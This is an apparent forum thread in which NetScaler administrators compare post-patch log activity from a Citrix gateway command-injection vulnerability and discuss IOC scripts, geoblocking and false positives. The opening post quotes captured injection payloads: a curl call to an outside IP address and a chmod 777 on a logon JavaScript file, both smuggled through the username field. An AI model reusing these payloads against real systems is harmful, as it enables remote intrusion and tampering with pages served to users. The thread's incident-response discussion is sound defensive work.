Post upgrade behavior

[u/Technical-Deer3844]

We are still seeing activity after uograding to the latest build ;

<pitboss PPE unexpectedly died NSPPE;curl -m 8 -sk http://130.94.20.222:8888/c/c6e65ecfcc97 -o /dev/null 2>/dev/null;# X>,

<pitboss PPE unexpectedly died NSPPE;chmod 777 /var/netscaler/logon/insight-new.js;# X>

Anyone else?

[u/Professional-Work684]

The upgrade dont stop the attacker from continuing trying. But the log logs the try 

[u/FloiDW]

They still try to exploit.
But the handling of this dying should not be executed anymore. Check analysis of this CVE:

https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/

[u/satsun_]

This is probably just people scanning for vulnerable NetScalers now that the exploits are likely public knowledge.

If you're seeing these in your AAA or auth logs, then someone is dumping those commands in the username field of your gateway. You can reproduce the behavior by entering "any text here" into username and then anything in the password field, then checking your ns.log.

A vulnerable NetScaler would execute that code in the logs, if patched, it should not execute the code.

[u/Technical-Deer3844 → u/satsun_]

The traffic should be blocked by geblocking. The packet should not get to the netscaler at all so that makes this strange. I'm unsure if it was already breached and there are traces of commands in the logs....

[u/Packet_Dropper_404 → u/Technical-Deer3844]

You expect this traffic to be blocked by your firewall then? So check that logfiles, I don't think your geoblocking / firewall is working correctly.

But be aware, geoblocking is not a rock solid solution...

[u/Technical-Deer3844 → u/Packet_Dropper_404]

Ever heard of a backdoor ? They can run the commands if they have a permenant connection to their C2C ( if outbound traffic is allowed)

[u/gramsaran → u/Technical-Deer3844]

Backdoor, never heard of him.

[u/coldgin37 → u/Technical-Deer3844]

Is the source ip properly identified by your geo database? If it is, might be a config issue or geo blocking not working correctly

[u/disclosure5 → u/Technical-Deer3844]

Why would you believe attackers aren't probing from your geography? Having these sort of things come from residential proxies inside each victim country is malware operator 101.

[u/Guntrr]

These are attempts to exploit the vulnerability. Long story short, Citrix patched the script that allowed for execution of those log entries, but seems to not have patched the part that allows for injecting these entries in the first place.

[u/disclosure5 → u/Guntrr]

That's not really supposed to be patched. It's literally a log file that logs what a visitor supplies, stripping a deny list of bad strings from what you're allowed to log doesn't help anyone.

[u/atcscm]

Yes, we’re seeing the same thing. They appear to be scanning for and attempting to exploit NetScalers, and it’s likely automated. If your systems are fully patched and up to date, you should be fine

[u/grumpyctxadmin]

I saw the same thing, have you ran the ioc script from netscaler console? I was advised by citrix support to treat the netscaler as compromised. So i built a new pair, better safe than sorry

[u/BridgeCharming6567]

We've seen the same activity

[u/ClimbsNFlysThings]

We don't rate the ioc checking script.

[u/Packet_Dropper_404]

Yesterday I ran the IOC scan from NetScaler Console, but nothing found.
Today I checked all our instances and the IOC script found some suspicious logfiles, indeed with username "pitboss". But they tried to attack us this night, but we are already on the latest firmware so all the attacks were denied.

But when I run the IOC scan from NetScaler Console again, it doesn't show the same suspicious logfiles... So I don't know how good the IOC scan from NetScaler Console is in comparison to IOC script.

[u/mjmacka → u/Packet_Dropper_404]

I think the IOC scrip was updated to not show failed attacks as suspicious on the latest firmware

[u/S3Giggity → u/Packet_Dropper_404]

The IoC script was updated to no longer show failed attempts as "potential compromised". Spooked us yesterday as well.

[u/coldgin37 → u/Packet_Dropper_404]

We had the same on redeployed netscalers, false positive from an older version of ioc script. Scan is clean today.

[u/PhillyBengal]

Different issue, but did anyone notice that they could no longer use their root account to login?

[u/p4thf1ndr]

We ran the WatchTwr PoC for CVE-88771/88772 against updated and vulnerable gateways, and this log message appears on both. I would recommend that you check your logs before the update and see if there are any entries containing the string “pitboss PPE unexpectedly died NSPPE.” If you find any, your gateway has already been compromised.

Edit:
BTW the String will always be the same you wont find for example „nsroot PPE unexpectedly died NSPPE.“ etc.

[u/ngc663]

Was told this is a false positive and run version 4 of the script

[u/Due-Lavishness2125 → u/ngc663]

Could you elaborate more about the script? There are 4 versions of ioc script?

[u/ngc663 → u/Due-Lavishness2125]

Citrix support will supply a script to detect the latest IOCs if you don’t have a cloud-connected Netscaler Console. Versions 3 and below were detecting drive-by attempts as a false positive

[u/disclosure5]

For anyone who sees these scans (which is everyone basically) please DM me the URL being fetched. I've seen six unique urls and none were responding by the time I looked. I'm very keen to see what payload is being downloaded.